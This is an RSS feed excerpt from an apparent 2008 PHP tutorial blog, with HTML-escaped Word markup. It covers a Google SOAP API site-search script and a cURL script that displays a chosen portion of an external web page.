&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'oendcoding'=&amp;gt;''&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;$client = new&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;soapclient(&amp;quot;http://api.google.com/search/beta2&amp;quot;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;$result = $client-&amp;gt;call(&amp;quot;doGoogleSearch&amp;quot;, $parameters,&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;quot;urn:GoogleSearch&amp;quot;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;$searchtime = $result[&amp;quot;searchTime&amp;quot;];&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;$total = $result[&amp;quot;estimatedTotalResultsCount&amp;quot;];&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;if($total &amp;gt; 0){&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp; $rs = $result[&amp;quot;resultElements&amp;quot;];&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp; $output=&amp;quot;&amp;quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp; for ($i = 0; $i &amp;lt; $total; $i++){&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (!isset($rs[$i])) break;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $element = $rs[$i];&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; //$title=$element[&amp;quot;title&amp;quot;];&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $url = $element[&amp;quot;URL&amp;quot;];&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $snippet = $element[&amp;quot;snippet&amp;quot;];&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $output.= &amp;quot;&amp;lt;p&amp;gt;&amp;lt;a href=&amp;quot;$url&amp;quot;&amp;gt;&amp;quot;.basename($url).&amp;quot;&amp;lt;/a&amp;gt; $snippet&amp;lt;/p&amp;gt;n&amp;quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp; echo $output;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp; echo &amp;quot;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;Search time: $searchtime seconds.&amp;quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;}else&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;nbsp; echo &amp;quot;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;Nothing found.&amp;quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;?&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;lt;/body&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;font size=&quot;2&quot;&gt;&amp;lt;/html&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;Save this code as &amp;quot;search.php&amp;quot; making sure that you use the file extension &amp;quot;php&amp;quot;.&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;The changes you need to make to this script are shown in bold. Substitute your domain name for &amp;quot;www.yoursite.com&amp;quot; and your Google key for &amp;quot;yourgooglekey&amp;quot; making sure to enclose both items in quotation marks. Change the value of &amp;quot;$maxresults&amp;quot; if you wish to have fewer or more results.&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;To sum up, we now have three files that need to be located in the same directory, &amp;quot;searchfrom.html&amp;quot;, &amp;quot;nusoap.php&amp;quot; and &amp;quot;search.php&amp;quot;. Entering a criterion into the textbox on the &amp;quot;searchfrom.html&amp;quot; page will open the &amp;quot;search.php&amp;quot; page and display the results of your search - limited to the specified site. These results will show a snippet of text and a hyperlink to the page on which your criterion appears. Visitors to your site can now easily find items of interest and quickly navigate to them.&lt;/font&gt;&lt;/p&gt;
&lt;h2 style=&quot;margin: auto 0in;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;Changes &amp;amp; Improvements&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;Depending upon your knowledge of PHP and HTML this code can be customised and changed in a number of ways. We have already shown how the number of results returned can be adjusted but you might also want to add a pop-up window of search hints for your site visitors. Let them know that they can search for a single word, or a group of words, or a specific phrase if they enclose the expression in quotation marks.&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;Another useful element returned from Google is the page title. I've put it into the &amp;quot;search.php&amp;quot; page to show how to access it but have commented it out. One possible use for this piece of information would be to limit search results to a specifically named page. I'll let you determine how this might be done.&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;As you can see our script uses one of the Google advanced search techniques (see &lt;/font&gt;&lt;font color=&quot;#000000&quot;&gt;&lt;a href=&quot;http://www.google.com/help/refinesearch.html&quot;&gt;&lt;font face=&quot;Times New Roman&quot; color=&quot;#000000&quot; size=&quot;3&quot;&gt;http://www.google.com/help/refinesearch.html&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt; ), a criterion, the word &amp;quot;site&amp;quot; followed by a semicolon and then a domain name. In the same way as we have done here, you could easily change this code to search instead for specific file types by using something like &amp;quot; filetype:pdf&amp;quot; instead of &amp;quot; site:www.yoursite.com&amp;quot;.&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;You may also want to indicate to visitors that your site search is Google-based. You may certainly do this but check out the terms and conditions of use at &lt;/font&gt;&lt;font color=&quot;#000000&quot;&gt;&lt;a href=&quot;http://www.google.com/apis/api_terms.html&quot;&gt;&lt;font face=&quot;Times New Roman&quot; color=&quot;#000000&quot; size=&quot;3&quot;&gt;http://www.google.com/apis/api_terms.html&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;font face=&quot;Times New Roman&quot; color=&quot;#000000&quot; size=&quot;3&quot;&gt;.&lt;/font&gt;&lt;/p&gt;
&lt;h2 style=&quot;margin: auto 0in;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;Some Limitations&lt;o:p&gt;&lt;/o:p&gt;&lt;/font&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;It might be said that any web surfer could do exactly what is described here by opening a separate instance of their browser and doing a site-specific search themselves. Quite true, but how many people would know how to do this and even if they knew, how many would actually do it? Most web surfers will appreciate the convenience of being provided with a site-specific search capabilities embedded right into your site.&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;As already mentioned, this is not the solution for a high-traffic site where many searches will be initiated. Nor is it a solution for a newly posted site. Until a site is indexed by Google no search results will be returned. Likewise, recent changes to a site will not be found until the Googlebot visits and registers them.&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;Additionally, some of the less common character entities are not rendered correctly. I noticed no problem with common entities such as &amp;quot;&amp;amp;lt;&amp;quot; and &amp;quot;&amp;amp;amp;&amp;quot;&amp;nbsp; but less common ones such as &amp;quot;&amp;amp;hellip;&amp;quot; were simply rendered as question marks.&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot; size=&quot;3&quot;&gt;That said though, using the Google API in conjunction with the &amp;quot;nusoap&amp;quot; script is a quick and easy way to implement a site-specific search. This is particularly useful for sites that are content-rich and it is an excellent additional service to propose to your clients once their newly created site shows up on Google.&lt;/font&gt;&lt;/p&gt;</description>
								         <pubDate>Fri, 05 Sep 2008 10:12:08 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/20/Quick-and-Easy-Google-Site-Search---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>Page Excerpts Using CURL - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/19/Page-Excerpts-Using-CURL---By-PHP-Expert</link>
								         <description>&lt;p&gt;
&lt;meta content=&quot;text/html; charset=utf-8&quot; http-equiv=&quot;Content-Type&quot; /&gt;
&lt;meta content=&quot;Word.Document&quot; name=&quot;ProgId&quot; /&gt;
&lt;meta content=&quot;Microsoft Word 10&quot; name=&quot;Generator&quot; /&gt;
&lt;meta content=&quot;Microsoft Word 10&quot; name=&quot;Originator&quot; /&gt;&lt;/p&gt;
&lt;p&gt;
&lt;link href=&quot;file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_filelist.xml&quot; rel=&quot;File-List&quot; /&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Get Started&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
&lt;w:WordDocument&gt;
&lt;w:View&gt;Normal&lt;/w:View&gt;
&lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
&lt;w:Compatibility&gt;
&lt;w:BreakWrappedTables /&gt;
&lt;w:SnapToGridInCell /&gt;
&lt;w:WrapTextWithPunct /&gt;
&lt;w:UseAsianBreakRules /&gt;
&lt;/w:Compatibility&gt;
&lt;w:BrowserLevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;
&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;
&lt;p&gt;&lt;style type=&quot;text/css&quot;&gt;
&lt;!--
 /* Font Definitions */
 @font-face
	{font-family:&quot;Arial Unicode MS&quot;;
	panose-1:2 11 6 4 2 2 2 2 2 4;
	mso-font-charset:128;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:-1 -369098753 63 0 4129279 0;}
@font-face
	{font-family:&quot;\@Arial Unicode MS&quot;;
	panose-1:2 11 6 4 2 2 2 2 2 4;
	mso-font-charset:128;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:-1 -369098753 63 0 4129279 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:&quot;&quot;;
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
h1
	{mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	mso-outline-level:1;
	font-size:24.0pt;
	font-family:&quot;Arial Unicode MS&quot;;
	font-weight:bold;}
h2
	{mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	mso-outline-level:2;
	font-size:18.0pt;
	font-family:&quot;Arial Unicode MS&quot;;
	font-weight:bold;}
p
	{mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Arial Unicode MS&quot;;}
code
	{font-family:&quot;Arial Unicode MS&quot;;
	mso-ascii-font-family:&quot;Arial Unicode MS&quot;;
	mso-fareast-font-family:&quot;Arial Unicode MS&quot;;
	mso-hansi-font-family:&quot;Arial Unicode MS&quot;;
	mso-bidi-font-family:&quot;Arial Unicode MS&quot;;}
pre
	{margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;
	font-size:10.0pt;
	font-family:&quot;Arial Unicode MS&quot;;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
--&gt;
&lt;/style&gt;&lt;/p&gt;
&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:&quot;Table Normal&quot;;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-parent:&quot;&quot;;
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-para-margin:0in;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:&quot;Times New Roman&quot;;}
&lt;/style&gt;
&lt;![endif]--&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0in 0in 0.0001pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;CURL is a library of functions that allows you to connect to different servers using a variety of protocols. In this article, we will only be concerned with the &amp;quot;http&amp;quot; protocol.&lt;/font&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0in 0in 0.0001pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;Most web servers have the CURL package installed but you can verify if yours does by creating a file called &amp;quot;info.php&amp;quot; with the following contents:&lt;/font&gt;&lt;/p&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;lt;?php&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;phpinfo();&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;?&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 0in 0in 0.0001pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;Upload this file to your server and then open it in your browser. You should see a page that provides information about&amp;nbsp;the configuration of PHP on your server. Use the &amp;quot;find&amp;quot; feature of your browser and search for &amp;quot;CURL&amp;quot;.&amp;nbsp; If CURL is enabled you are all set to go.&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;What to Display&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0in 0in 0.0001pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;Point your browser at the site you wish to excerpt and when the page has loaded right click a blank area of the screen. Choose the drop-down menu option that allows you to view the HTML source code and find the portion of the page that you wish to display.&lt;/font&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0in 0in 0.0001pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;Select 10 or 15 characters of text that begin the portion of the page you are interested in. Make sure that the text you select occurs only at this one location by searching the page for other occurrences. If it is not unique keep selecting text until it is. Save this text selection to a file called &amp;quot;start.txt&amp;quot;. Now do the same thing for the terminating text and save this as &amp;quot;end.txt&amp;quot; making sure that the last selected character terminates what you want to display.&lt;/font&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0in 0in 0.0001pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;You now have everything you need to display only a portion of a page from an external site.&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;The Code&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0in 0in 0.0001pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;Find below the required code:&lt;/font&gt;&lt;/p&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;lt;head&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;lt;title&amp;gt;Local Events&amp;lt;/title&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;lt;/head&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;lt;body&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;lt;div style=&amp;quot;margin-left:30px&amp;quot;&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;lt;?php&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;$url =&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;quot;http://&lt;strong&gt;www.thedomain/page.html&lt;/strong&gt;&amp;quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;//unique text to determine start goes here&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;$start = &amp;quot;&lt;strong&gt;yourstart&lt;/strong&gt;&amp;quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;//insert end text here&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;$end = &amp;quot;&lt;strong&gt;yourend&lt;/strong&gt;&amp;quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;//give credit to the originator&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;echo &amp;quot;Courtesy of &amp;lt;a href =&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;quot;$url&amp;quot;&amp;gt;$url.&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;$ch = curl_init();&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;curl_setopt ($ch, CURLOPT_URL, $url );&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;curl_setopt ($ch, CURLOPT_HEADER, 0);&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;$result = curl_exec ($ch) or die (&amp;quot;Couldn't connect to&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;$url.&amp;quot;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;curl_close ($ch);&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;$startposition = strpos($result,$start);&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;if($startposition &amp;gt; 0){&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;nbsp; $endposition = strpos($result,$end, $startposition);&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;nbsp; //add enough chars to include the tag&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;nbsp; $endposition += strlen($end);&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;nbsp; $length = $endposition-$startposition;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;nbsp; $result = substr($result,$startposition,$length);&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;nbsp; echo $result;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;}else&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;nbsp; echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;h3&amp;gt;Not found - try again&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;later.&amp;lt;/h3&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;?&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;lt;/div&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;lt;/body&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
